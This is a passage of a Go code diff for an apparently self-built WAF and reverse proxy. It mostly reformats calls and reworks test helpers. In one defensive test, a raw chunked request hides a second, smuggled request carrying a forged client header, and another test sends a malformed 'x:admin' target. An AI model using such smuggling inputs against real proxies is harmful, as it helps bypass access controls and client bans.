ctx context.Context, lookupEnv func(string) (string, bool),
|
||||||
) error {
|
) error {
|
||||||
listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(
|
listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(lookupEnv)
|
||||||
lookupEnv,
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("invalid setting: %w", err)
|
return fmt.Errorf("invalid setting: %w", err)
|
||||||
}
|
}
|
||||||
@@ -99,11 +95,7 @@ func checkRProxyAndApp(
|
|||||||
return fmt.Errorf("ask rproxy: %w", err)
|
return fmt.Errorf("ask rproxy: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
conn, err := (&net.Dialer{}).DialContext(
|
conn, err := (&net.Dialer{}).DialContext(ctx, "tcp", appAddress(upstreamURL))
|
||||||
ctx,
|
|
||||||
"tcp",
|
|
||||||
appAddress(upstreamURL),
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("connect to the app: %w", err)
|
return fmt.Errorf("connect to the app: %w", err)
|
||||||
}
|
}
|
||||||
@@ -117,17 +109,9 @@ func checkRProxyAndApp(
|
|||||||
// listenAddr, which the settings have checked has one.
|
// listenAddr, which the settings have checked has one.
|
||||||
func askHealthEndpoint(ctx context.Context, listenAddr string) error {
|
func askHealthEndpoint(ctx context.Context, listenAddr string) error {
|
||||||
_, port, _ := net.SplitHostPort(listenAddr)
|
_, port, _ := net.SplitHostPort(listenAddr)
|
||||||
health := "http://" + net.JoinHostPort(
|
health := "http://" + net.JoinHostPort("127.0.0.1", port) + waf.HealthPath
|
||||||
"127.0.0.1",
|
|
||||||
port,
|
|
||||||
) + waf.HealthPath
|
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(
|
req, err := http.NewRequestWithContext(ctx, http.MethodGet, health, http.NoBody)
|
||||||
ctx,
|
|
||||||
http.MethodGet,
|
|
||||||
health,
|
|
||||||
http.NoBody,
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("make the request: %w", err)
|
return fmt.Errorf("make the request: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -41,7 +41,7 @@ func TestHealthCheckInWAFsContainer(t *testing.T) {
|
|||||||
exited <- run(ctx, settings, out)
|
exited <- run(ctx, settings, out)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
|
addr, _ := out.line(t, "msg", "starting")["address"].(string)
|
||||||
_, port, _ := net.SplitHostPort(addr)
|
_, port, _ := net.SplitHostPort(addr)
|
||||||
|
|
||||||
// The container's settings: an address to listen on with an empty
|
// The container's settings: an address to listen on with an empty
|
||||||
@@ -94,10 +94,7 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
|
|||||||
site, _ := startRProxy(t, "http://127.0.0.1:9", app.URL)
|
site, _ := startRProxy(t, "http://127.0.0.1:9", app.URL)
|
||||||
_, port, _ := net.SplitHostPort(strings.TrimPrefix(site, "http://"))
|
_, port, _ := net.SplitHostPort(strings.TrimPrefix(site, "http://"))
|
||||||
settings := func(more ...string) map[string]string {
|
settings := func(more ...string) map[string]string {
|
||||||
env := map[string]string{
|
env := map[string]string{rproxyListenAddr: ":" + port, rproxyUpstreamURL: app.URL}
|
||||||
rproxyListenAddr: ":" + port,
|
|
||||||
rproxyUpstreamURL: app.URL,
|
|
||||||
}
|
|
||||||
for i := 0; i < len(more); i += 2 {
|
for i := 0; i < len(more); i += 2 {
|
||||||
env[more[i]] = more[i+1]
|
env[more[i]] = more[i+1]
|
||||||
}
|
}
|
||||||
@@ -110,12 +107,8 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
|
|||||||
wantHealthCheck(t, settings(commandSetting, "rproxy"), 0, "")
|
wantHealthCheck(t, settings(commandSetting, "rproxy"), 0, "")
|
||||||
|
|
||||||
// SWW_COMMAND cannot be given as a file.
|
// SWW_COMMAND cannot be given as a file.
|
||||||
wantHealthCheck(
|
wantHealthCheck(t, settings(commandSetting+"_FILE", writeFile(t, "waf\n")),
|
||||||
t,
|
0, "")
|
||||||
settings(commandSetting+"_FILE", writeFile(t, "waf\n")),
|
|
||||||
0,
|
|
||||||
"",
|
|
||||||
)
|
|
||||||
|
|
||||||
// Another setting does not fail it, even an invalid one, and neither does
|
// Another setting does not fail it, even an invalid one, and neither does
|
||||||
// SWRP_WAF_BACKEND being unset.
|
// SWRP_WAF_BACKEND being unset.
|
||||||
@@ -128,12 +121,7 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
|
|||||||
|
|
||||||
// Listening on port 0 takes any free port, so nothing listens on port 0
|
// Listening on port 0 takes any free port, so nothing listens on port 0
|
||||||
// itself.
|
// itself.
|
||||||
wantHealthCheck(
|
wantHealthCheck(t, settings(rproxyListenAddr, ":0"), 1, "unhealthy: ask rproxy: ")
|
||||||
t,
|
|
||||||
settings(rproxyListenAddr, ":0"),
|
|
||||||
1,
|
|
||||||
"unhealthy: ask rproxy: ",
|
|
||||||
)
|
|
||||||
wantHealthCheck(t, settings(rproxyListenAddr, "8080"), 1,
|
wantHealthCheck(t, settings(rproxyListenAddr, "8080"), 1,
|
||||||
"unhealthy: invalid setting: SWRP_LISTEN_ADDR: ")
|
"unhealthy: invalid setting: SWRP_LISTEN_ADDR: ")
|
||||||
|
|
||||||
@@ -173,26 +161,16 @@ func TestHealthCheckRefusesAnArgument(t *testing.T) {
|
|||||||
// wantHealthCheck runs the health check with the settings in env, and
|
// wantHealthCheck runs the health check with the settings in env, and
|
||||||
// checks its exit status and the start of what it writes to stderr,
|
// checks its exit status and the start of what it writes to stderr,
|
||||||
// which is nothing when message is empty.
|
// which is nothing when message is empty.
|
||||||
func wantHealthCheck(
|
func wantHealthCheck(t *testing.T, env map[string]string, status int, message string) {
|
||||||
t *testing.T,
|
|
||||||
env map[string]string,
|
|
||||||
status int,
|
|
||||||
message string,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
var stderr bytes.Buffer
|
var stderr bytes.Buffer
|
||||||
|
|
||||||
got := sww.HealthCheck(
|
got := sww.HealthCheck(t.Context(), nil, func(name string) (string, bool) {
|
||||||
t.Context(),
|
|
||||||
nil,
|
|
||||||
func(name string) (string, bool) {
|
|
||||||
value, ok := env[name]
|
value, ok := env[name]
|
||||||
|
|
||||||
return value, ok
|
return value, ok
|
||||||
},
|
}, &stderr)
|
||||||
&stderr,
|
|
||||||
)
|
|
||||||
|
|
||||||
wrote := stderr.String()
|
wrote := stderr.String()
|
||||||
if got != status || !strings.HasPrefix(wrote, message) ||
|
if got != status || !strings.HasPrefix(wrote, message) ||
|
||||||
|
|||||||
+2
-10
@@ -21,11 +21,7 @@ import (
|
|||||||
// more severe: rproxy has no setting for either.
|
// more severe: rproxy has no setting for either.
|
||||||
func RunRProxy(ctx context.Context, params Params) int {
|
func RunRProxy(ctx context.Context, params Params) int {
|
||||||
hostname, _ := os.Hostname() // "" when the host has no name to give
|
hostname, _ := os.Hostname() // "" when the host has no name to give
|
||||||
processLog := requestlog.NewProcessLogger(
|
processLog := requestlog.NewProcessLogger(params.Stdout, hostname, slog.LevelInfo)
|
||||||
params.Stdout,
|
|
||||||
hostname,
|
|
||||||
slog.LevelInfo,
|
|
||||||
)
|
|
||||||
|
|
||||||
cfg, err := config.RProxyFromEnvironment(params.LookupEnv)
|
cfg, err := config.RProxyFromEnvironment(params.LookupEnv)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -42,11 +38,7 @@ func RunRProxy(ctx context.Context, params Params) int {
|
|||||||
|
|
||||||
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
|
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
processLog.Error(
|
processLog.Error("cannot listen on SWRP_LISTEN_ADDR", "error", err.Error())
|
||||||
"cannot listen on SWRP_LISTEN_ADDR",
|
|
||||||
"error",
|
|
||||||
err.Error(),
|
|
||||||
)
|
|
||||||
|
|
||||||
return 1
|
return 1
|
||||||
}
|
}
|
||||||
|
|||||||
+52
-117
@@ -71,19 +71,13 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
|
|||||||
}, out)
|
}, out)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
|
|
||||||
|
|
||||||
t.Cleanup(func() {
|
t.Cleanup(func() {
|
||||||
stop()
|
stop()
|
||||||
|
|
||||||
select {
|
select {
|
||||||
case status := <-exited:
|
case status := <-exited:
|
||||||
if status != 0 {
|
if status != 0 {
|
||||||
t.Errorf(
|
t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
|
||||||
"rproxy's exit status %d, want 0; output:\n%s",
|
|
||||||
status,
|
|
||||||
out.text(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
case <-time.After(waitLimit):
|
case <-time.After(waitLimit):
|
||||||
t.Error("rproxy still running after being told to stop")
|
t.Error("rproxy still running after being told to stop")
|
||||||
@@ -92,16 +86,15 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
|
|||||||
out.line(t, "msg", "stopped")
|
out.line(t, "msg", "stopped")
|
||||||
})
|
})
|
||||||
|
|
||||||
|
addr, _ := out.line(t, "msg", "starting")["address"].(string)
|
||||||
|
|
||||||
return "http://" + addr, out
|
return "http://" + addr, out
|
||||||
}
|
}
|
||||||
|
|
||||||
// startWAF runs waf with the settings in env, and returns
|
// startWAF runs waf with the settings in env, and returns
|
||||||
// its address and URL, what it writes, and what stops it, which checks that it
|
// its address and URL, what it writes, and what stops it, which checks that it
|
||||||
// stopped in order.
|
// stopped in order.
|
||||||
func startWAF(
|
func startWAF(t *testing.T, env map[string]string) (string, *output, func()) {
|
||||||
t *testing.T,
|
|
||||||
env map[string]string,
|
|
||||||
) (string, *output, func()) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
ctx, stop := context.WithCancel(t.Context())
|
ctx, stop := context.WithCancel(t.Context())
|
||||||
@@ -112,7 +105,7 @@ func startWAF(
|
|||||||
exited <- run(ctx, env, out)
|
exited <- run(ctx, env, out)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
|
addr, _ := out.line(t, "msg", "starting")["address"].(string)
|
||||||
|
|
||||||
return addr, out, func() {
|
return addr, out, func() {
|
||||||
stop()
|
stop()
|
||||||
@@ -120,11 +113,7 @@ func startWAF(
|
|||||||
select {
|
select {
|
||||||
case status := <-exited:
|
case status := <-exited:
|
||||||
if status != 0 {
|
if status != 0 {
|
||||||
t.Fatalf(
|
t.Fatalf("waf's exit status %d, want 0; output:\n%s", status, out.text())
|
||||||
"waf's exit status %d, want 0; output:\n%s",
|
|
||||||
status,
|
|
||||||
out.text(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
case <-time.After(waitLimit):
|
case <-time.After(waitLimit):
|
||||||
t.Fatal("waf still running after being told to stop")
|
t.Fatal("waf still running after being told to stop")
|
||||||
@@ -352,12 +341,7 @@ func pipe(dst, src net.Conn) {
|
|||||||
// answersNormally reports whether a request to url from the client at from, as
|
// answersNormally reports whether a request to url from the client at from, as
|
||||||
// X-Forwarded-For names it, gets the app's answer.
|
// X-Forwarded-For names it, gets the app's answer.
|
||||||
func answersNormally(ctx context.Context, url, from string) bool {
|
func answersNormally(ctx context.Context, url, from string) bool {
|
||||||
req, err := http.NewRequestWithContext(
|
req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, http.NoBody)
|
||||||
ctx,
|
|
||||||
http.MethodGet,
|
|
||||||
url,
|
|
||||||
http.NoBody,
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
@@ -375,8 +359,7 @@ func answersNormally(ctx context.Context, url, from string) bool {
|
|||||||
body, err := io.ReadAll(res.Body)
|
body, err := io.ReadAll(res.Body)
|
||||||
_ = res.Body.Close()
|
_ = res.Body.Close()
|
||||||
|
|
||||||
return err == nil && res.StatusCode == http.StatusOK &&
|
return err == nil && res.StatusCode == http.StatusOK && string(body) == greeting
|
||||||
string(body) == greeting
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// sendRaw sends request, as it is, to rproxy at site, and returns the status of
|
// sendRaw sends request, as it is, to rproxy at site, and returns the status of
|
||||||
@@ -429,16 +412,9 @@ func TestAChunkedBodyStaysABodyAtWAF(t *testing.T) {
|
|||||||
waf.ClientHeader + ": " + otherClient + "\r\n" +
|
waf.ClientHeader + ": " + otherClient + "\r\n" +
|
||||||
"X-Request-ID: " + smuggledID + "\r\n\r\n"
|
"X-Request-ID: " + smuggledID + "\r\n\r\n"
|
||||||
|
|
||||||
status := sendRaw(
|
status := sendRaw(t, site, "POST /upload HTTP/1.1\r\nHost: site.example\r\n"+
|
||||||
t,
|
|
||||||
site,
|
|
||||||
"POST /upload HTTP/1.1\r\nHost: site.example\r\n"+
|
|
||||||
"X-Forwarded-For: "+placed+"\r\nTransfer-Encoding: chunked\r\n\r\n"+
|
"X-Forwarded-For: "+placed+"\r\nTransfer-Encoding: chunked\r\n\r\n"+
|
||||||
strconv.FormatInt(
|
strconv.FormatInt(int64(len(smuggled)), 16)+"\r\n"+smuggled+"\r\n0\r\n\r\n")
|
||||||
int64(len(smuggled)),
|
|
||||||
16,
|
|
||||||
)+"\r\n"+smuggled+"\r\n0\r\n\r\n",
|
|
||||||
)
|
|
||||||
if status != http.StatusOK {
|
if status != http.StatusOK {
|
||||||
t.Errorf("status %d, want the app's 200", status)
|
t.Errorf("status %d, want the app's 200", status)
|
||||||
}
|
}
|
||||||
@@ -467,12 +443,8 @@ func TestATargetThatCannotGoToWAFIsRefusedForABannedClient(t *testing.T) {
|
|||||||
|
|
||||||
wantStatus(t, site+bannedProbe, placed, http.StatusForbidden)
|
wantStatus(t, site+bannedProbe, placed, http.StatusForbidden)
|
||||||
|
|
||||||
status := sendRaw(
|
status := sendRaw(t, site, "GET x:admin HTTP/1.1\r\nHost: site.example\r\n"+
|
||||||
t,
|
"X-Forwarded-For: "+placed+"\r\n\r\n")
|
||||||
site,
|
|
||||||
"GET x:admin HTTP/1.1\r\nHost: site.example\r\n"+
|
|
||||||
"X-Forwarded-For: "+placed+"\r\n\r\n",
|
|
||||||
)
|
|
||||||
if status != http.StatusBadRequest {
|
if status != http.StatusBadRequest {
|
||||||
t.Errorf("status %d, want 400", status)
|
t.Errorf("status %d, want 400", status)
|
||||||
}
|
}
|
||||||
@@ -498,8 +470,7 @@ func TestAClientWithAZoneIsTheClientWithout(t *testing.T) {
|
|||||||
wantStatus(t, site+"/", "2001:db8::1", http.StatusForbidden)
|
wantStatus(t, site+"/", "2001:db8::1", http.StatusForbidden)
|
||||||
|
|
||||||
line := out.line(t, "path", bannedProbe)
|
line := out.line(t, "path", bannedProbe)
|
||||||
if line["client_ip"] != "2001:db8::1" ||
|
if line["client_ip"] != "2001:db8::1" || line["default_disposition"] != nil {
|
||||||
line["default_disposition"] != nil {
|
|
||||||
t.Errorf("rproxy's line is %v", line)
|
t.Errorf("rproxy's line is %v", line)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -524,10 +495,7 @@ func TestAStatusWAFDoesNotTakeIsReportedAs599(t *testing.T) {
|
|||||||
|
|
||||||
line := out.line(t, "path", "/")
|
line := out.line(t, "path", "/")
|
||||||
if line["status"] != float64(status) {
|
if line["status"] != float64(status) {
|
||||||
t.Errorf(
|
t.Errorf("rproxy's line is %v, want the status the visitor got", line)
|
||||||
"rproxy's line is %v, want the status the visitor got",
|
|
||||||
line,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
id, _ := line["request_id"].(string)
|
id, _ := line["request_id"].(string)
|
||||||
@@ -539,10 +507,9 @@ func TestAStatusWAFDoesNotTakeIsReportedAs599(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// startRProxyProcess runs `sww rproxy` in a process of its own, with the
|
// startRProxyProcess runs `sww rproxy` in a process of its own, with the
|
||||||
// settings in env, each as NAME=value. It returns where rproxy listens and a
|
// settings in env, each as NAME=value. It returns where rproxy listens, the
|
||||||
// function that sends rproxy SIGTERM and fails the test unless it exits with
|
// process, and what rproxy writes.
|
||||||
// status 0 within waitLimit.
|
func startRProxyProcess(t *testing.T, env ...string) (string, *exec.Cmd, *output) {
|
||||||
func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
binary, err := os.Executable()
|
binary, err := os.Executable()
|
||||||
@@ -550,9 +517,11 @@ func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
|
|||||||
t.Fatalf("find the test binary: %v", err)
|
t.Fatalf("find the test binary: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
ctx, cancel := context.WithTimeout(t.Context(), 3*waitLimit)
|
||||||
|
t.Cleanup(cancel)
|
||||||
|
|
||||||
out := &output{}
|
out := &output{}
|
||||||
//nolint:gosec // this test binary
|
cmd := exec.CommandContext(ctx, binary) //nolint:gosec // this test binary
|
||||||
cmd := exec.CommandContext(t.Context(), binary)
|
|
||||||
cmd.Stdout = out
|
cmd.Stdout = out
|
||||||
|
|
||||||
cmd.Env = append(os.Environ(),
|
cmd.Env = append(os.Environ(),
|
||||||
@@ -560,29 +529,19 @@ func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
|
|||||||
"SWRP_LISTEN_ADDR="+localhost+":0")
|
"SWRP_LISTEN_ADDR="+localhost+":0")
|
||||||
cmd.Env = append(cmd.Env, env...)
|
cmd.Env = append(cmd.Env, env...)
|
||||||
|
|
||||||
exited := startProcess(t, cmd)
|
err = cmd.Start()
|
||||||
|
|
||||||
addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
|
|
||||||
|
|
||||||
return addr, func() {
|
|
||||||
err := cmd.Process.Signal(syscall.SIGTERM)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("signal: %v", err)
|
t.Fatalf("start: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
select {
|
t.Cleanup(func() {
|
||||||
case status := <-exited:
|
_ = cmd.Process.Kill()
|
||||||
if status != 0 {
|
_ = cmd.Wait()
|
||||||
t.Errorf(
|
})
|
||||||
"exit status %d, want 0; output:\n%s",
|
|
||||||
status,
|
addr, _ := out.line(t, "msg", "starting")["address"].(string)
|
||||||
out.text(),
|
|
||||||
)
|
return addr, cmd, out
|
||||||
}
|
|
||||||
case <-time.After(waitLimit):
|
|
||||||
t.Error("still running after being told to stop")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
|
func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
|
||||||
@@ -613,7 +572,7 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
|
|||||||
t.Fatalf("write the certificate: %v", err)
|
t.Fatalf("write the certificate: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
addr, _ := startRProxyProcess(t,
|
addr, _, _ := startRProxyProcess(t,
|
||||||
wafBackend+"="+backend.URL,
|
wafBackend+"="+backend.URL,
|
||||||
"SWRP_UPSTREAM_URL="+startApp(t),
|
"SWRP_UPSTREAM_URL="+startApp(t),
|
||||||
"SSL_CERT_FILE="+certificates)
|
"SSL_CERT_FILE="+certificates)
|
||||||
@@ -624,11 +583,7 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
|
|||||||
"Connection": "Connection: anything\r\n",
|
"Connection": "Connection: anything\r\n",
|
||||||
"a WebSocket upgrade": "Connection: Upgrade\r\nUpgrade: websocket\r\n",
|
"a WebSocket upgrade": "Connection: Upgrade\r\nUpgrade: websocket\r\n",
|
||||||
} {
|
} {
|
||||||
status := sendRaw(
|
status := sendRaw(t, addr, "GET / HTTP/1.1\r\nHost: site.example\r\n"+headers+"\r\n")
|
||||||
t,
|
|
||||||
addr,
|
|
||||||
"GET / HTTP/1.1\r\nHost: site.example\r\n"+headers+"\r\n",
|
|
||||||
)
|
|
||||||
if status != http.StatusForbidden {
|
if status != http.StatusForbidden {
|
||||||
t.Errorf("with %s: status %d, want waf's 403", name, status)
|
t.Errorf("with %s: status %d, want waf's 403", name, status)
|
||||||
}
|
}
|
||||||
@@ -636,11 +591,7 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
|
|||||||
select {
|
select {
|
||||||
case protocol := <-protocols:
|
case protocol := <-protocols:
|
||||||
if protocol != "HTTP/1.1" {
|
if protocol != "HTTP/1.1" {
|
||||||
t.Errorf(
|
t.Errorf("with %s: asked over %s, want HTTP/1.1", name, protocol)
|
||||||
"with %s: asked over %s, want HTTP/1.1",
|
|
||||||
name,
|
|
||||||
protocol,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
case <-time.After(waitLimit):
|
case <-time.After(waitLimit):
|
||||||
t.Errorf("with %s: waf was not asked", name)
|
t.Errorf("with %s: waf was not asked", name)
|
||||||
@@ -661,11 +612,7 @@ func TestRProxyProcessLinesNameTheHostAndComeAtInfo(t *testing.T) {
|
|||||||
|
|
||||||
line := out.line(t, "msg", "starting")
|
line := out.line(t, "msg", "starting")
|
||||||
if line["instance"] != hostname || line["level"] != "INFO" {
|
if line["instance"] != hostname || line["level"] != "INFO" {
|
||||||
t.Errorf(
|
t.Errorf("rproxy's line is %v, want instance %s at INFO", line, hostname)
|
||||||
"rproxy's line is %v, want instance %s at INFO",
|
|
||||||
line,
|
|
||||||
hostname,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -704,7 +651,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
|
|||||||
exited <- runRProxy(ctx, env, out)
|
exited <- runRProxy(ctx, env, out)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
|
addr, _ := out.line(t, "msg", "starting")["address"].(string)
|
||||||
|
|
||||||
wantStatus(t, "http://"+addr+"/", placed, http.StatusOK)
|
wantStatus(t, "http://"+addr+"/", placed, http.StatusOK)
|
||||||
|
|
||||||
@@ -730,11 +677,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
|
|||||||
select {
|
select {
|
||||||
case status := <-exited:
|
case status := <-exited:
|
||||||
if status != 0 {
|
if status != 0 {
|
||||||
t.Errorf(
|
t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
|
||||||
"rproxy's exit status %d, want 0; output:\n%s",
|
|
||||||
status,
|
|
||||||
out.text(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
case <-time.After(waitLimit):
|
case <-time.After(waitLimit):
|
||||||
t.Error("rproxy still running, the report having been answered")
|
t.Error("rproxy still running, the report having been answered")
|
||||||
@@ -807,12 +750,8 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
|
|||||||
exited <- runRProxy(ctx, env, out)
|
exited <- runRProxy(ctx, env, out)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
|
addr, _ := out.line(t, "msg", "starting")["address"].(string)
|
||||||
conn := sendAndKeepOpen(
|
conn := sendAndKeepOpen(t, addr, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
|
||||||
t,
|
|
||||||
addr,
|
|
||||||
"GET / HTTP/1.1\r\nHost: site.example\r\n\r\n",
|
|
||||||
)
|
|
||||||
|
|
||||||
select {
|
select {
|
||||||
case <-asked:
|
case <-asked:
|
||||||
@@ -836,11 +775,7 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
|
|||||||
select {
|
select {
|
||||||
case status := <-exited:
|
case status := <-exited:
|
||||||
if status != 0 {
|
if status != 0 {
|
||||||
t.Errorf(
|
t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
|
||||||
"rproxy's exit status %d, want 0; output:\n%s",
|
|
||||||
status,
|
|
||||||
out.text(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
case <-time.After(waitLimit):
|
case <-time.After(waitLimit):
|
||||||
t.Error("rproxy still running after the cut-off")
|
t.Error("rproxy still running after the cut-off")
|
||||||
@@ -875,11 +810,7 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
|
|||||||
message, _ := line["error"].(string)
|
message, _ := line["error"].(string)
|
||||||
|
|
||||||
if !strings.HasPrefix(message, tc.setting+": ") {
|
if !strings.HasPrefix(message, tc.setting+": ") {
|
||||||
t.Errorf(
|
t.Errorf("start refused with %v, want it to name %s", line, tc.setting)
|
||||||
"start refused with %v, want it to name %s",
|
|
||||||
line,
|
|
||||||
tc.setting,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -888,11 +819,7 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
|
|||||||
func TestRProxyAddressInUseStopsTheStart(t *testing.T) {
|
func TestRProxyAddressInUseStopsTheStart(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
taken, err := (&net.ListenConfig{}).Listen(
|
taken, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
|
||||||
t.Context(),
|
|
||||||
"tcp",
|
|
||||||
localhost+":0",
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
@@ -918,7 +845,7 @@ func TestMainRunsRProxy(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// Nothing listens there; the health check does not ask.
|
// Nothing listens there; the health check does not ask.
|
||||||
addr, stop := startRProxyProcess(t, wafBackend+"=http://127.0.0.1:9")
|
addr, cmd, out := startRProxyProcess(t, wafBackend+"=http://127.0.0.1:9")
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(t.Context(), http.MethodGet,
|
req, err := http.NewRequestWithContext(t.Context(), http.MethodGet,
|
||||||
"http://"+addr+waf.HealthPath, http.NoBody)
|
"http://"+addr+waf.HealthPath, http.NoBody)
|
||||||
@@ -941,5 +868,13 @@ func TestMainRunsRProxy(t *testing.T) {
|
|||||||
t.Errorf("health check answered %q (%v)", body, err)
|
t.Errorf("health check answered %q (%v)", body, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
stop()
|
err = cmd.Process.Signal(syscall.SIGTERM)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("signal: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
err = cmd.Wait()
|
||||||
|
if err != nil {
|
||||||
|
t.Errorf("exit: %v; output:\n%s", err, out.text())
|
||||||
|
}
|
||||||
}
|
}
|
||||||
+37
-94
@@ -1,9 +1,9 @@
|
|||||||
// Package sww runs the sww process, as the command it is given.
|
// Package sww runs the sww process, as the command it is given.
|
||||||
// `sww waf` reads the settings, the rule files, the lookup database
|
// `sww waf` reads the settings, the rule files, the lookup database
|
||||||
// and the state and cache files, answers rproxy's questions until it is told to
|
// and the state files, answers rproxy's questions until it is told to stop, and
|
||||||
// stop, and then stops in an orderly way, writing the state and cache files.
|
// then stops in an orderly way, writing the state files. `sww rproxy`
|
||||||
// `sww rproxy` reads rproxy's settings alone, and runs the reverse proxy in
|
// reads rproxy's settings alone, and runs the reverse proxy in front of one app
|
||||||
// front of one app that asks waf about each request. `sww healthcheck` is the
|
// that asks waf about each request. `sww healthcheck` is the
|
||||||
// container's health check.
|
// container's health check.
|
||||||
package sww
|
package sww
|
||||||
|
|
||||||
@@ -79,11 +79,7 @@ func Main(version string) int {
|
|||||||
syscall.SIGTERM, os.Interrupt)
|
syscall.SIGTERM, os.Interrupt)
|
||||||
defer stop()
|
defer stop()
|
||||||
|
|
||||||
params := Params{
|
params := Params{Version: version, LookupEnv: os.LookupEnv, Stdout: os.Stdout}
|
||||||
Version: version,
|
|
||||||
LookupEnv: os.LookupEnv,
|
|
||||||
Stdout: os.Stdout,
|
|
||||||
}
|
|
||||||
|
|
||||||
switch args[0] {
|
switch args[0] {
|
||||||
case "rproxy":
|
case "rproxy":
|
||||||
@@ -105,8 +101,8 @@ func printUsage(w io.Writer) int {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// RunWAF is `sww waf`: it reads the settings, the rule files,
|
// RunWAF is `sww waf`: it reads the settings, the rule files,
|
||||||
// the lookup database and the state and cache files, then serves requests until
|
// the lookup database and the state files, then serves requests until ctx is
|
||||||
// ctx is done. It returns the process's exit status, 1 when waf cannot start.
|
// done. It returns the process's exit status, 1 when waf cannot start.
|
||||||
func RunWAF(ctx context.Context, params Params) int {
|
func RunWAF(ctx context.Context, params Params) int {
|
||||||
// Until the settings are read, the one message is an invalid setting's
|
// Until the settings are read, the one message is an invalid setting's
|
||||||
// error, which every SWW_LOG_LEVEL lets through.
|
// error, which every SWW_LOG_LEVEL lets through.
|
||||||
@@ -115,7 +111,9 @@ func RunWAF(ctx context.Context, params Params) int {
|
|||||||
|
|
||||||
cfg, err := config.FromEnvironment(params.LookupEnv)
|
cfg, err := config.FromEnvironment(params.LookupEnv)
|
||||||
